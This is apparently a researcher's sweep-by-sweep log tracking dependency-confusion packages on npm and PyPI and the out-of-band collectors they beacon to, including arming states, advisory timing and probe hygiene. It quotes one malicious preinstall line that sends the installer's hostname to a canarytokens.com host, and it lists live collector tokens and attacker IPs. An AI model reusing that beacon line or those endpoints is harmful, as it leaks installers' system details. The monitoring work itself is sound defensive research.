Full-token GETs ~15:3xZ: wave-5 pair 200 55-B …jngigz/…jogigz byte-identical third consecutive pass ≈80 h on the 8n0l3yjy… account; Wix unl9pgk6… → 200 56-B 7uznim4i436d7xy23v830ozjkrgigz = RE-ARMED byte-identical after the 134th + 135th dark pair (dark→armed return #4 measured on the ledger; re-arm clock on this account is hours, not days), and orj3tao0… concurrently ARMED …sgigz = the Wix account fully back; one-off pair 187d714j…/9q0lp9mr… → 4rgpacf6…glgz/…gjgz armed continuous. Bare 8n0l3yjy…/ii473egh… account domains catch-all (canonical five + zdz5vdmv… UNCHECKED this window, not dark). Fabricated-label wildcard control re-scored positive under the armed wave-5 subdomain (fabricated label returned the listener body byte-identical) = wildcard mechanic measured three ways now. Bucket side: counter quiet, 3.8.6/3.8.7/3.9.0/4.0.0 403 on the .tgz rail, 3.8.5 generation unchanged. Hosts: liferay-workspace-scripts STILL ZERO OSV + ZERO GHSA ~6.5 h post-publish, doc 200, versions ['0.0.0-stage','99.9.1'], tarball 200 = the per-name scan-gap passes kmf-vendor-pack's ~6-min publish-to-OSV by three orders of magnitude, the machine lane's coverage of the SECOND sibling is the fleet's live blind spot; library-shell doc-API 200 ~6 h post-OSV. Fleet enforcement ledger: 7-of-7 hosts LIVE, zero action ever. Full ledger: one-hundred-and-thirty-sixth section.

October 10 one-hundred-and-thirty-seventh sweep (~17:2x-17:5x UTC): TWENTY-FIFTH BURP-LANE CHECK, WAVE-5 PAIR DARK AFTER ~80 h ARMED (session-teardown class, re-arm watch armed on the hours-scale precedent), AND THE PyPI SIDE OF BOTH WAVE-5 SIBLINGS WAS DELETED WITH ZERO ADVISORY RECORD WHILE THE npm HOSTS STAY FULLY LIVE = the enforcement lane and the advisory lane are independent clocks in BOTH directions

Full-token GETs ~17:3xZ: library-wide.p8y53… and liferay-workspace-scripts.z00f… both 000 (subdomain gone = listener-session death, the reversible class the wave-1 squats and the Wix account have each escaped multiple times, re-arm watch armed, 8n0l3yjy… account itself still answers catch-all at the bare domain = account alive, listeners die). ARMED at this check: Wix pair (unl9pgk6…→7uznim4i…rgigz, orj3tao0…→…sgigz, second consecutive armed check post re-arm = armed-stability streak #2) + one-off pair (187d714j…/9q0lp9mr…→4rgpacf6…glgz/…gjgz continuous) = four armed listeners, two accounts. Fabricated-label control under the now-dead wave-5 subdomain returns 000 = control rail consistent.

PyPI enforcement inversion (this sweep's headline, full write-up → ledger 137th section): the wave-5 PyPI-side spellings liferay-workspace-scripts and library-shell (the unscoped names the whltd1 pipeline created 09:15-09:17Z) are DELETED on PyPI, simple + JSON both 404, after being live-and-installable with ZERO OSV + ZERO GHSA for ~9 h across the 134th-136th checks. OSV name-queries STILL {}, GHSA still zero = deleted without ever drawing a record. The 136th's "widest advisory blind spot" measured read is superseded (not reversed): the blind spot ran ~9 h and closed via an unlogged enforcement action. DURABLE: advisory-keyed blocklists never saw these names at ANY point; only registry-state diffing captured both halves of their lifecycle (live-when-advisories-blind, gone-when-records-absent). npm hosts UNCHANGED: @library-wide/library-shell + liferay-workspace-scripts npm both latest 99.9.1, tarballs 200, whltd1 untouched = the seven-host npm fleet still 7-of-7 LIVE, zero publisher action ever. Counter rail quiet (3.8.6/3.8.7/3.9.0/4.0.0 403).

October 10 one-hundred-and-thirty-eighth sweep (~19:2x-19:5x UTC): TWENTY-SIXTH BURP-LANE CHECK, WAVE-5 PAIR DARK SECOND CONSECUTIVE CHECK (~2 h into the second dark period, still inside the Wix account's own two-dark→re-arm precedent), AND THE PYPI DELETION HOLDS WHILE THE npm HOSTS RUN A THIRD CONSECUTIVE LIVE CHECK: ZERO ADVISORY BACKFILL FOR EITHER DELETED NAME, OSV name-queries STILL {} and the GHSA malware listing head is UNCHANGED = the deleted-unadvised end-state is now CONFIRMED STABLE, not a mid-batch artifact

Full-token GETs ~19:3xZ: library-wide.p8y53… + liferay-workspace-scripts.z00f… both 000 SECOND consecutive dark check (≈2 h after the 137th's first; the Wix account's dark→armed return #4 happened after exactly two dark checks on an hours-scale, so the re-arm watch stays armed, not pessimistic). ARMED this check, ALL BYTE-IDENTICAL: Wix pair streak #3 (unl9pgk6…→7uznim4i…rgigz, orj3tao0…→…sgigz) + one-off pair continuous (187d714j…/9q0lp9mr…→4rgpacf6…glgz/…gjgz). Canonical account rails: ii473egh… answered 200 56-B zdz5vdmv1zidizj48252qdzjjgjmgz = the SAME account-level catch-all body recorded since the streak began (~23.8 d account-alive tick; the canonical five listeners UNDER that account are UNCHECKED this window per the absence rule, not dark). FOUR armed listeners, two accounts, state identical to the 137th except the wave-5 pair's second dark tick.

Registry side: wave-5 npm hosts third consecutive live check, @library-wide/library-shell + liferay-workspace-scripts npm latest 99.9.1, tarballs 200, whltd1 untouched, fleet 7-of-7 LIVE; PyPI spellings both STILL simple+JSON 404; OSV name-queries STILL {} for both and the type=malware GHSA listing head is STILL the 12:30:31Z four-record batch = no enforcement-side record ever minted after the deletion (the 137th's deleted-unadvised read holds at ~+2 h). Counter rail quiet (3.8.6/3.8.7/3.9.0/4.0.0 403, 3.8.4/3.8.5 200 Last-Modified unchanged to the second). Full ledger: one-hundred-and-thirty-eighth section.

October 10 one-hundred-and-thirty-ninth sweep (~21:2x-21:3x UTC): TWENTY-SEVENTH BURP-LANE CHECK, WAVE-5 PAIR RE-ARMS AT EXACTLY THE PESSIMISM-THRESHOLD TICK, BYTE-IDENTICAL (…jngigz/…jogigz UNCHANGED AFTER A ≈4 h DARK PERIOD) = THE DARK→ARMED RETURN SCORES ON THE 8n0l3yjy… ACCOUNT'S OWN wave-5 TOKENS, SIX ARMED LISTENERS ACROSS THREE ACCOUNTS AT ONE CHECK FOR THE SECOND TIME ON THE LEDGER, AND THE PYPI DELETION CHANGED NOTHING ON THE BEACON SIDE: THE COLLECTORS OUTLIVED THE PACKAGES

Full-token GETs ~21:2xZ: library-wide.p8y53… → 200 55-B 8n0l3yjy9840z4tan9r91vzjngigz and liferay-workspace-scripts.z00f… → …jogigz = both ARMED, byte-identical to every recorded reading, after dark ticks at the 137th (~17:2xZ) and 138th (~19:3xZ), a ≈4 h dark period resolved on the third check, the exact tick where the 138th set the pessimism threshold. The Wix-account precedent (return #4 after two dark checks) was the rule; this is the same hours-scale clock measured on a DIFFERENT account's freshly-minted wave-5 tokens, and it is the 8n0l3yjy… account's SECOND measured dark→armed byte-identical return (wave-1's 000-class return on the 127th was the first), the account itself now has two full death→return cycles on record. DURABLE BOUNDARY, restated: the account fingerprint is the permanent hunt key; LISTENER ARMING is a session duty-cycle that skews armed ≈2:1, an armed reading NEVER implies continuous armed state between checks, and the fleet's resolver-log hunts must treat dark windows as gaps in coverage, not absence of victims. DURABLE #2: the PyPI spellings were DELETED four checks ago and both collectors came back anyway, the beacon rails ride the npm half (7-of-7 LIVE, fourth consecutive check, both hosts 99.9.1), so registry enforcement on one ecosystem does not touch OOB infrastructure on the other.

Full-arm state: SIX armed listeners three accounts (wave-5 pair 8n0l3yjy… …jngigz/…jogigz + Wix pair streak #4 (unl9pgk6…→7uznim4i…rgigz, orj3tao0…→…sgigz) + one-off pair continuous (187d714j…/9q0lp9mr…→4rgpacf6…glgz/…gjgz)), matches the 136th's fleet-24 full-arm peak. ii473egh… account catch-all 200 zdz5vdmv…gjmgz unchanged (~24 d account-alive tick). Bucket rail re-probed on the canonical ltidi.storage.googleapis.com/depenconf/ path: 3.8.4/3.8.5 200, Last-Modified 09:14:26/09:16:31Z unchanged TO THE SECOND, counter 3.8.6-4.0.0 403 = wave-5 generation static ~12 h. (Probe note: a bare-name ltidisafe. bucket guess 404s, the serving bucket is ltidi., re-record the exact path on every probe.) Full ledger: one-hundred-and-thirty-ninth section.

October 11 one-hundred-and-forty-fifth sweep (~09:2x-09:5x UTC): THIRTIETH BURP-LANE CHECK, WAVE-5 PAIR ARMED BYTE-IDENTICAL FIFTH CONSECUTIVE CHECK SINCE RE-ARM, SIX-ARM FULL-ARM STATE NOW THE NORMATIVE BASELINE, NOT A PEAK, AND THE CAMPAIGN'S OWN LANE DREW A NEW OOB-VENDOR NEIGHBOR: MAL-2026-17758 react-dropzone-v4 BEACONS INSTALLER HOSTNAMES TO A CANARYTOKENS.COM TOKEN = THE SAME RECON SEMANTICS AS THIS FLEET'S COLLECTORS ON A VENDOR THE LEDGER HAS NEVER SEEN IN THE 2026 STREAM

Full-token GETs ~09:3xZ: library-wide.p8y53… → 200 55-B 8n0l3yjy…jngigz, liferay-workspace-scripts.z00f… → …jogigz = both ARMED byte-identical, FIFTH consecutive armed check since the 139th's re-arm (the duty-cycle clock has had no dark tick in ~12 h); unl9pgk6… → 200 56-B 7uznim4i…rgigz armed (Wix-account streak continues); ii473egh… catch-all 200 zdz5vdmv…gjmgz = ~25-day account-alive tick; fabricated-label control at the bare domain = stock 1190-B Burp page (wildcard mechanic holds, controls valid only at the bare domain). The six-armed-three-accounts state first measured on the 136th is now the fleet's standing condition between dark windows.

Same-sweep stream move on this campaign's detection grammar: MAL-2026-17758 (react-dropzone-v4, 99.0.0, ossf-package-analysis, published 07:35:19Z, ~24 min after a 07:11:26Z publish, the fastest hollow-name publish-to-OSV on the ledger) ships ONE FILE, a package.json whose entire payload is preinstall: nslookup $(hostname).hzbvy3cmgred066nig6n3ux0y.canarytokens.com || curl http://…/$(hostname) || true, installer-hostname qualification, the SAME measurement the ltidisafe loaders make (username/hostname/homedir → collector), delivered instead to a CanaryTokens token (verified LIVE: resolves 52.18.63.80, answers 301), whose hits mail the token owner. Publisher bane1010 <waytohacking575@gmail.com> (single package), self-labeled "Security research - dependency confusion POC", 0.0.0-stage + inflated 99.0.0 staging grammar = this fleet's own shape. The OOB-vendor roster is now three deep (Burp Collaborator / Interactsh / CanaryTokens) and each behaves differently under probe: Collaborator serves its account's armed body, Interactsh echoes the reversed label, CanaryTokens answers the canary-manager endpoints and notifies a mailbox, vendor-ID by page signature before dispositioning any hit. Full read: one-hundred-and-forty-fifth section.

October 11 one-hundred-and-forty-sixth sweep (~11:2x-11:5x UTC): THIRTY-FIRST BURP-LANE CHECK, A TLS FALSE-DARK: THE WAVE-5 LISTENERS NOW SERVE THE LEGACY CN=*.burpcollaborator.net CERT, STRICT HTTPS READS THEM curl exit:60 (ZERO BYTES), -k RETRY SHOWS BOTH ARMED BYTE-IDENTICAL, SIXTH CONSECUTIVE ARMED CHECK, THE DARK TAXONOMY IS NOW THREE CLASSES AND ONLY TWO ARE REAL: 000 (session death) / 1190-B catch-all (listener off) / exit:60 CERT-MISMATCH (PLATFORM ARTIFACT, ZERO ATTACKER SIGNAL)

Full-token GETs ~11:3xZ: library-wide.p8y53… + liferay-workspace-scripts.z00f… returned exit:60 certificate-verification failures on TWO strict-HTTPS passes; -k re-run answers 200 55-B 8n0l3yjy…jngigz/…jogigz = ARMED byte-identical, sixth consecutive armed check since the 139th's re-arm. openssl s_client names the cause: both wave-5 listener subdomains present CN=*.burpcollaborator.net (legacy Collaborator domain, valid Feb 18 2026 → Mar 21 2027), which cannot match *.oastify.com; the armed Wix listener on the SAME sweep presents CN=*.oastify.com normally. DURABLE: any non-body result on an OAST listener is re-run with -k BEFORE disposition, logging exit-60 as dark would have recorded a false dark tick against a six-check armed streak; and the cert-subject split is a watch opportunity: if the legacy-domain cert clusters per Burp ACCOUNT, cert subject becomes a free second fingerprint beside the body prefix. Rest of lane: Wix unl9pgk6… ARMED 7uznim4i…rgigz streak continues, Wix pair-2 orj3tao0… at the 1190-B stock catch-all = dark tick (pair asymmetry, duty-cycle class), ii473egh… answers zdz5vdmv…gjmgz ≈25-day account tick, two fresh fabricated-label controls at the bare domain = stock 1190-B page. Bucket rail re-probed on the CANONICAL ltidi.storage.googleapis.com/depenconf/ path (ltidisafe. host spelling 404s, probe note holds): 3.8.4/3.8.5 Last-Modified unchanged TO THE SECOND ≈26 h, counter 3.8.6 403. Full ledger: one-hundred-and-forty-sixth section.

October 11 one-hundred-and-forty-seventh sweep (~13:2x-13:4x UTC): THIRTY-SECOND BURP-LANE CHECK, FLEET PEAK: TEN ARMED LISTENERS FOUR ACCOUNTS AT ONE CHECK (superseding the fleet-24 six-arm record), AND THE 146TH'S CERT-FINGERPRINT HYPOTHESIS CLOSES NEGATIVE: THE SAME 8n0l3yjy… ACCOUNT SERVES *.oastify.com CERTS ON ITS WAVE-1 LISTENERS AND *.burpcollaborator.net ON ITS WAVE-5 PAIR AT ONE CHECK = CERT SUBJECT IS SESSION-LEVEL PROVISIONING STATE, NOT AN ACCOUNT KEY

Full-token -k GETs ~13:2xZ across the full roster, wave-1 canonical three 1vxhqpj0…/fl4vg39e…/bapr5zya… ARMED 8n0l3yjy…jjgigz/…jkgigz/…jlgjgz; wave-5 pair library-wide.p8y53…/liferay.z00f… ARMED …jngigz/…jogigz byte-identical seventh consecutive armed check (the -k-first hygiene rule applied per the 146th durable, no false-dark); Wix unl9pgk6… ARMED 7uznim4i…rgigz AND pair-2 orj3tao0… RE-ARMED 7uznim4i…sgigz byte-identical, the 146th's dark tick closed at a SINGLE dark check (fastest dark→armed return measured in the pair-asymmetry class); one-off pair 187d714j…/9q0lp9mr… ARMED 4rgpacf6…glgz/…kgjgz continuous; ii473egh… ARMED zdz5vdmv…gjmgz ≈25-day tick. TEN armed, four accounts (8n0l3yjy:5 / Wix:2 / 4rgpacf6:2 / ii473egh:1) = the estate's largest measured live state, while the campaign's PyPI wave-5 spellings stay deleted and the npm half runs its TWELFTH consecutive live check. CERT WATCH CLOSED (negative): openssl s_client same-check shows the wave-1 canonical three, SAME 8n0l3yjy… account as the wave-5 pair, presenting CN=*.oastify.com while the wave-5 pair presents CN=*.burpcollaborator.net = one account, two cert subjects, one check. The legacy cert does NOT cluster per account; it tracks listener/session provisioning state. DURABLE: cert subject is NOT a second fingerprint, the body prefix stays the only durable Burp-lane cluster key; the exit:60 false-dark hygiene rule stands on its own. Fabricated-label control at the bare domain = stock 1190-B page. Bucket rail: 3.8.4/3.8.5 Last-Modified unchanged TO THE SECOND ≈28 h, counter 3.8.6 403. Full ledger: one-hundred-and-forty-seventh section.

October 11 one-hundred-and-forty-eighth sweep (~15:2x-15:5x UTC): THIRTY-THIRD BURP-LANE CHECK, TEN-ARM ESTATE PEAK HOLDS A SECOND CONSECUTIVE CHECK (wave-5 pair EIGHTH armed pass under -k-first), AND THE CAMPAIGN'S OWN ENFORCEMENT RECORD FINALLY CLOSES: GHSA-p862-3rvq-8852 MINTED FOR liferay-workspace-scripts AT THE 15:31Z BATCH ≈63 h AFTER THE NPM NAME WENT LIVE, WHILE BOTH WAVE-5 COLLECTORS ANSWER ARMED BYTE-IDENTICAL = the advisory lane arrived at the npm half long after the PyPI half died, and the beacon rails were already measured alive through both

Full-token -k GETs ~15:2xZ: wave-1 canonical three ARMED 8n0l3yjy…jjgigz/…jkgigz/…jlgjgz byte-identical; wave-5 pair ARMED …jngigz/…jogigz eighth consecutive; Wix pair both armed 7uznim4i…rgigz/…sgigz; one-off pair ARMED 4rgpacf6…jjglgz/…kgjgz continuous; ii473egh… ARMED zdz5vdmv…gjmgz ≈25-day tick; fabricated control stock 1190-B. Registry rails: bucket 3.8.4/3.8.5 Last-Modified unchanged to the second ≈30 h, counter 3.8.6 403; npm half THIRTEENTH consecutive live check (99.9.1 both, modified unmoved); PyPI liferay-workspace-scripts simple 404 + OSV name-query {} = deleted-unadvised end-state +30 h, now retro-advised on the npm side only. Same sweep drew a FOURTEENTH account-prefix class collector: pay-methods-kmf's db4jlbku53082dmp0d7g3mffj7s7aordk.oast.me answers ARMED 72-B interactsh-class body kdroa7s7… (purged name, live collector, hunt key survives the package). Full stream read: hundred-forty-eighth algamil7x section.

October 11 one-hundred-and-fiftieth sweep (~19:2x-19:5x UTC): THIRTY-FIFTH BURP-LANE CHECK, NEW ESTATE PEAK: FOURTEEN ARMED LISTENERS ACROSS SEVEN ACCOUNTS AT ONE CHECK, SUPERSEDING THE FLEET-32 TEN-ARM/FOUR-ACCOUNT RECORD, AND TWO SEPTEMBER-ERA ACCOUNTS REJOIN THE ARMED ROSTER

Full-token -k GETs ~19:2xZ: wave-1 canonical three ARMED 8n0l3yjy…jjgigz/…jkgigz/…jlgjgz byte-identical; wave-5 pair ARMED …jngigz/…jogigz TENTH consecutive under -k-first; Wix pair both armed (unl9pgk6…rgigz/orj3tao0…sgigz); one-off 4rgpacf6… pair continuous (…glgz/…kgjgz) = the ten-arm core holds its FOURTH check unchanged. NEW ARMS: ii473egh… tick armed zdz5vdmv… (~26-day collector); 675404drak…, absent from the armed roster in every recent fleet pass, answers on BOTH its September listeners with the SAME per-listener tails recorded at the 106th/110th (hqbv58…zjjgogz, pa33pg1o…zjjgjgz) = per-listener tail assignment survives ≈5 weeks of session cycling, the fingerprint rule's longest measured persistence; kdroa7s7… .oast.me db4jlbku… armed second consecutive check; 46ot4ak… = FIFTEENTH account prefix, first sighting on the Sep-21 radio-player-theme collector bfuntjuvcnxl… (never-recorded body, ≈20 days after the collector's debut). Fabricated control under the armed p8y53… subdomain inherited the listener body (wildcard rule re-scored). Bucket 3.8.4/3.8.5 Last-Modified unchanged to the second ≈44 h, counter 3.8.6 403; npm wave-5 half live-check continues. → stream ledger: algamil7x 150th section

Full-token -k GETs ~21:2xZ, byte-comparison against the ledger: all fourteen armed listeners answer their recorded bodies byte-for-byte (8n0l3yjy… ×5 jjgigz/jkgigz/jlgjgz/jngigz/jogigz, wave-5 TWELFTH consecutive armed under -k-first; 7uznim4i… ×2 rgigz/sgigz; 4rgpacf6… ×2 glgz/kgjgz; ii473egh…→zdz5vdmv…gjmgz; 675404drak… ×2 zjjgogz/zjjgjgz; kdroa7s7… via db4jlbku…oast.me; 46ot4ak… on bfuntjuvcnxl…) = FOURTEEN-ARM/SEVEN-ACCOUNT peak second consecutive check, first check with an explicit 14/14 byte count. NEW ARM OUTSIDE THE ROSTER, SIXTEENTH PREFIX: uhffaanwxy0io5bfc0icu5lpug07o9cy.oastify.com, the Sep-22 ubiquiti-agents-link-mcp npx-squat collector (pattern page), never a fleet member, answers 200 55-B body dln5e2uvcgff2tdy44ljc1zjjgugz, a prefix NEVER on ledger: sixteenth distinct Burp prefix, ~19 days after that squat's advisory, zero-install squat still in an attacker session. The new body's SUFFIX shares the zjj… family, …zjjgugz beside personio 64wd2qm5…zjjgkgz, ii473egh…zdz5vdmv…zjjgjmgz, 675404drak…zjjgjgz/…zjjgogz, four prefix-accounts, one suffix family. Read recorded, not asserted: the body prefix stays the cluster key, but the tail-suffix sharing across otherwise-unrelated prefixes is the first cross-prefix hint of a shared provisioning underlayer (one Burp account minting listeners for several campaigns, or a shared tool wrapper); monitor whether a zjj… tail ever appears on a wave-1/wave-5 8n0l3yjy body, that would collapse the prefix-distinctness assumption.

PROBE-HYGIENE RE-SCORE, CATCH-ALL MECHANICS ARE PER-VENDOR: THE 133rd ECHO-RESOLVER CORRECTION RE-SCORED AT VENDOR GRANULARITY. Same-check fabricated controls on all four vendor domains: .oastify.com fabricated → 1190-B stock catch-all (dark-classic, unchanged); .oast.site fabricated ×2 → 72-75-B reversed-echo bodies (deadbeef…→…4321fedcba, zzzz…fake2→ba0000…nekotlaeratonzzzz); .oast.me fabricated → 649-B Interactsh Server page. So on the interactsh vendors (oast.site/.fun/.live/.me) ANY GET echoes the reversed subdomain label: a reversed-body read there is the VENDOR mechanic, not attacker payload, and becomes an armed-state observation ONLY after the exact token spelling is verified against the ledger, fabricated tokens "arm" those vendors with their own bytes, which is exactly what the 133rd's fabricated-.oast.site control caught and what this sweep reproduced on two fresh fabricated labels. The .oastify.com lane's catch-all is stock, so 8n0l3yjy/7uznim4i/4rgpacf6/675404drak body reads stand unchanged; interactsh-lane reversed-echo reads (ctyg5utt…, tw6b33h8…, tcy87haf…, jpu14d7m…, u3mid1mh…-class) are re-scored as vendor-mechanic reads UNLESS the spelling was ledger-verified at read time. Hygiene anchor that survives the correction: a REAL listener body equals the reversal of the RECORDED spelling, this sweep's fabricated …fedcba0123456789abcdcbaf9e returned f76543210abcdef0123456789abcdcbaf9e, bytes that match no ledger body, so byte-equality against the ledger still separates real payloads from echoes.

Rails & registry: collector.oob.s4yhii.com 200 + @coopeuch/button + @s4yhiitestpoc/r2-https still 200 LIVE ≈21 h (Galicia precedent unloaded); @galicia-toolkit/core|error-master|spa-build-config|tag-manager now ALL bare 404 = the Oct-8 purged scope's holds have gone hard-404 while the Oct-11 s4yhii names ride = same publisher family, two registry end-states ten days apart. 185.158.107.175:8787/_ah/dc 200 standing; 64.181.165.115/dc 000 re-check #3; minhdong.site 530 root AND baked endpoint (relay still dead); RubyGems held-names 3-of-24 spot (hd-wallet-generator, wallet-hd-derive, airdrop-eligibility-check) API 404 = still no resquat under the held names; C2 :8089/:8090/:8092 closed. Wave-5 npm half LIVE FOURTEENTH consecutive check (liferay-workspace-scripts + @library-wide/library-shell both 99.9.1; probe note: the BARE library-wide name is 404, the scoped spelling is the artifact, never probe the bare name). Registry-doc hygiene repeat: kmf-vendor-pack doc 200 with versions: [] while its time block still enumerates 0.0.0-stage/99.0.0/100.100.100/100.100.101, the react-paginate-v5 empty-versions-vs-time split now measured on a SECOND name, durable rule re-scored.

Survivors: veai consolidated-IP stability #6 (both names 135.106.213.120, telemetry 405-GET, app 200, zero-advisory ≈74 h, #1617 ≈68 h); py2ops 2.3.1 gap ≈27.5 h, zero-advisory ≈59 h; space-z b196 root 307→/login + /api/cli/init 405-GET, apex 410 split unchanged; kam193 rails ≈50 h (Supabase POST 201, baked npoint route sha256 540314a7… SIXTEENTH pass, pythonanywhere 200, webreader/pafer simple 200); GhostAction 193.32.204.199:443 TCP-OPEN TWENTY-FIFTH; goxtools.shop 403 THIRTY-SECOND ≈95 h; bucket 3.8.4/3.8.5 Last-Modified unchanged TO THE SECOND ≈58 h (Oct-10 09:14:26/09:16:31Z), counter 3.8.6 403; KEV JSON-verified unchanged 2026.10.08/1,739; ossf queue ZERO advisory merges since #1611 (only dependabot #1595/#1599 closed-merged since; #1612-1621 open, #1590 ≈207 h ≈8.6 d). Feeds below bar: JFrog research feed.xml 404 again (route flapping carried), StepSecurity site head +1 product post (AI-agent-skill inventorying, product news, below bar), U42 head Web3-C2 Oct 7, Wiz/MSFT unchanged. No new Shai-Hulud/Mini/TeamPCP above bar.

Monitor: fourteen-arm peak durability check #3 + wave-5 streak #13; dln5e2uv… body-stability (byte-stable like the rest?) and whether any zjj… tail ever crosses onto an 8n0l3yjy-family body (shared-underlayer test); 46ot4ak… check #2; interactsh-lane reads re-baseline against exact ledger spellings only; @coopeuch/@s4yhiitestpoc purge-or-ride ≈21 h; 64.181.165.115 re-check #4; aliases joins onto 17803/16533 (≈4 h absent at this check); 17804+ with control; veai #7; py2ops 2.3.2-or-silence; #1590.

October 11 one-hundred-and-fifty-second sweep (~23:2x-23:5x UTC): THIRTY-SEVENTH BURP-LANE CHECK, TWELVE OF FOURTEEN ARMED, BYTE-IDENTICAL, FIRST DARK TICK FOR THE FIFTEENTH PREFIX 46ot4ak… (two-check armed run → 1,190-B stock catch-all = per-token duty-cycle class extends to the September collectors), wave-5 THIRTEENTH armed under -k-first, kdroa7s7… .oast.me armed third, AND THE SIXTEENTH PREFIX dln5e2uv… RE-CONFIRMED BYTE-STABLE ON ITS SECOND CHECK

Full-token -k GETs ~23:2xZ vs ledger: ARMED 12/14, 8n0l3yjy… wave-1 three (1vxhqpj0…→…jjgigz, fl4vg39e…→…jkgigz, bapr5zya…→…jlgjgz all 55-B byte-identical) + wave-5 pair (z00fvnoy…→…jogigz, p8y53dwo…→…jngigz) THIRTEENTH consecutive under -k-first = five of the 8n0l3yjy… account's roster armed; Wix pair both armed 7uznim4i…rgigz/…sgigz; 675404drak… both September listeners armed with EXACT per-listener tails (hqbv58…→…zjjgogz, pa33pg1o…→…zjjgjgz) = third consecutive exact-tail check; ii473egh… tick armed zdz5vdmv…zjjgjmgz; kdroa7s7… via db4jlbku…oast.me armed #3; uhffaa… (dln5e2uv…, the Sep-22 ubiquiti-agents-link-mcp squat collector) answers its 55-B dln5e2uvcgff2tdy44ljc1zjjgugz byte-stable SECOND check = the sixteenth prefix behaves like the rest, bodies persist across sessions. DARK 2/14: bfuntjuvcnxl… (46ot4ak…) → 1,190-B stock catch-all = first dark check for the fifteenth prefix after armed #1 (150th) + armed #2 (151st), the duty-cycle rule measured on the July/wave-5 lanes now applies to the newest account sighting too, re-arm watch at check #3; one-off 4rgpacf6… known listener …glgz catch-all (same dark class the pair has shown since debut; second listener's full token never recorded in ledger prose = standing probe-gap, do not count as dark). Net: estate stays at fourteen-account/roster-wide probe set; armed count fluctuates 12-14 by duty-cycle, byte-equality across all returning bodies is now the fourteenth-plus consecutive confirmation on the core accounts. Fabricated -oastify control re-scored 1,190-B stock; fabricated .oast.site control echoed its reversed label (5d4c3baf…) = vendor-mechanic rule (151st) reproduced on a fresh fabricated token.

Rails & registry same-check: 185.158.107.175:8787/_ah/dc 200 standing; 64.181.165.115/dc 000 re-check #4; collector.oob.s4yhii.com 404-bare (endpoint-path read, vendor up); @coopeuch/@s4yhiitestpoc four checked names ALL 200 ≈27 h; RubyGems 3-of-24 held-name spot 404 (no resquat ≈30 h post-purge); C2 :8089/:8090 closed. Stream: HIGH-WATER HOLDS 17803 (forty-fifth control sweep), full ledger algamil7x 152nd section.

Monitor: 46ot4ak… check #3 re-arm-or-second-dark; wave-5 streak #14; dln5e2uv… stability #3; kdroa7s7… #4; wave-1 wave-5 dark-flip watch.

October 12 one-hundred-and-fifty-third sweep (~01:2x-01:4x UTC): THIRTY-EIGHTH BURP-LANE CHECK, FULL FOURTEEN-LISTENER ROSTER ARMED, BYTE-IDENTICAL (fleet-37's twelve-of-fourteen dip reversed in ONE check): 46ot4ak… RE-ARMS AT THE EXACT FIRST-RECORDED BODY AFTER A SINGLE DARK TICK = the pessimism-threshold rule now fires at check #2 on the NEWEST account too, and the one-off 4rgpacf6… pair RE-ARMS BOTH listeners, which CLOSES THE STANDING PROBE-GAP, the pair's listener spellings are 187d714jo62z5j5c39hc437myd44sxgm→…glgz + 9q0lp9mr6ek7nrnklhzkmbpuglmda4yt→…kgjgz (in-ledger since the Wix-page era, never carried in the fleet-prose roster; roster now closed, no probe gaps left), PLUS THE SWEEP'S OWN PROBE-HYGIENE SELF-CAPTURE: a first-pass batch run on TOKENS TRANSCRIBED FROM LEDGER PROSE (abbreviated forms completed wrongly) answered 1,190-B stock on five listeners that the exact-spelling re-run shows ARMED = a prose-completed token IS a fabricated token, the catch-all mechanics fire on the ledger's own abbreviations, dark disposition requires the exact string pulled programmatically

Full-token -k GETs ~01:2x-01:3xZ vs ledger, all reads double-confirmed: ARMED 14/14 + 2 outside-roster. 8n0l3yjy… account five listeners (1vxhqpj0…→…jjgigz, fl4vg39e…→…jkgigz, bapr5zya…→…jlgjgz, p8y53dwo…→…jngigz, z00fvnoy…→…jogigz) all 55-B byte-identical, wave-5 FOURTEENTH consecutive armed check under -k-first, 1vxhqpj0…/z00fvnoy… double-fetch stable; Wix pair unl9pgk6…→7uznim4i…rgigz + orj3tao0…→…sgigz both armed (56-B, re-confirmed twice); ii473egh…→zdz5vdmv…zjjgjmgz armed; 675404drak… BOTH September listeners exact per-listener tails (hqbv58…→…zjjgogz, pa33pg1o…→…zjjgjgz) FOURTH consecutive exact-tail check; kdroa7s7… via db4jlbku…oast.me armed #4; 46ot4ak… RE-ARMED on bfuntjuvcnxl… at the exact first-recorded body 46ot4akdqzg5vm51osa20czjigz after the fleet-37 dark tick, one dark check, re-arm at check #2, the wave-5/Wix dark→armed precedent now confirmed on the newest-seen account; 4rgpacf6… pair RE-ARMED BOTH (187d714…→…glgz, the listener that answered stock at fleet-37, + 9q0lp9mr…→…kgjgz). Outside-roster: dln5e2uv… on uhffaa… armed THIRD consecutive byte-stable check; personio hrcv3zo9…→64wd2qm5…zjjgkgz armed (the zjj… tail family now measured across FOUR account lanes at one check: 675404drak, ii473egh→zdz5vdmv, dln5e2uv, personio). Fabricated control aabbcc… → stock 1,190-B page ✓. Net state: the fourteen-arm/seven-account estate peak is now the NORMATIVE oscillation band (12-14 armed by per-token session duty-cycle), every returning body byte-equal to its first recording, the fingerprint rule holds across the full roster for a fifteenth-plus consecutive confirmation.

PROBE-HYGIENE SELF-CAPTURE (this sweep's own error, recorded as doctrine): the first-pass fleet batch rebuilt listener URLs from prose-abbreviated forms (1vxhqpj0s3t2…, z00fvnoy3910…, 7uznim4ig320…, ii473egh6l28…, all wrong completions), and the catch-all fired exactly as the 133rd/151st rules predict: five REAL armed listeners answered 1,190-B stock, which under naive disposition would have logged a five-listener dark tick including a FALSE account-wide-dark headline for 8n0l3yjy…. The exact-spelling re-run (tokens pulled from the file, not prose) answered every listener armed. DURABLE: fleet probes must extract token strings programmatically from the ledger (grep the exact domain), never retype or complete them from prose; a stock catch-all on a token YOU typed is a statement about YOUR typing. The 46ot4ak… 53-B count this sweep vs the 55-B class count elsewhere is noted as wrapper-variance, body string is the fingerprint.

Rails & registry same-check: 185.158.107.175:8787/_ah/dc 200 standing; 64.181.165.115/dc 000 re-check #5 (abandonment leading read); RubyGems held-names 3-of-24 spot 404 no resquat ≈36 h; wave-5 npm half SIXTEENTH live check; bucket 3.8.4 Last-Modified unchanged to the second ≈64 h counter 3.8.6 403. → stream ledger: algamil7x 153rd section

Monitor: fleet-39: estate armed-count stability #2 at full roster; 46ot4ak… armed-stability #2; any listener body EVER flipping byte value = fingerprint-rule falsification (none in 38 checks).

